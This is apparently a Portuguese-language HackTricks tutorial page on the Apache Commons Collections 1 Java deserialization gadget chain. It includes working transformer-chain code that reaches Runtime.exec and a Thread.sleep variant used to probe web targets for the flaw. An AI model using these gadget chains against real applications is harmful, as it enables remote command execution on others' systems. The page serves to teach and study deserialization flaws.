9.6 KiB
CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Java Transformers to Rutime exec()
Em vários lugares, você pode encontrar um payload de desserialização java que usa transformadores das coleções comuns do Apache, como o seguinte:
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Se você não sabe nada sobre payloads de deserialização em java, pode ser difícil entender por que este código executará um calc.
Primeiro de tudo, você precisa saber que um Transformer em Java é algo que recebe uma classe e a transforma em outra diferente.
Além disso, é interessante saber que o payload sendo executado aqui é equivalente a:
Runtime.getRuntime().exec(new String[]{"calc.exe"});
Ou mais exatamente, o que será executado no final seria:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Como
Então, como o primeiro payload apresentado é equivalente àqueles "simples" one-liners?
Primeiro de tudo, você pode notar no payload que uma cadeia (array) de transforms é criada:
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Se você ler o código, notará que se você de alguma forma encadear a transformação do array, poderá executar comandos arbitrários.
Então, como esses transforms são encadeados?
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
Na última seção do payload, você pode ver que um objeto Map é criado. Em seguida, a função decorate
é executada a partir de LazyMap
com o objeto map e os transformers encadeados. A partir do código a seguir, você pode ver que isso fará com que os transformers encadeados sejam copiados dentro do atributo lazyMap.factory
:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
E então o grande final é executado: lazyMap.get("anything");
Este é o código da função get
:
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
E este é o código da função transform
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
Então, lembre-se de que dentro da factory nós salvamos chainedTransformer
e dentro da função transform
nós estamos percorrendo todos aqueles transformers encadeados e executando um após o outro. A parte engraçada é que cada transformer está usando object
como entrada e object é a saída do último transformer executado. Portanto, todas as transformações estão encadeadas executando o payload malicioso.
Resumo
No final, devido a como o lazyMap está gerenciando os transformers encadeados dentro do método get, é como se estivéssemos executando o seguinte código:
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
Note que value
é a entrada de cada transformação e a saída da transformação anterior, permitindo a execução de uma única linha:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
Note que aqui foram explicados os gadgets usados para o ComonsCollections1 payload. Mas ficou como tudo isso começa a ser executado. Você pode ver aqui que ysoserial, para executar este payload, usa um objeto AnnotationInvocationHandler
porque quando este objeto é desserializado, ele invocará a função payload.get()
que executará todo o payload.
Java Thread Sleep
Este payload pode ser útil para identificar se a web é vulnerável, pois executará um sleep se for.
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Mais Gadgets
Você pode encontrar mais gadgets aqui: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.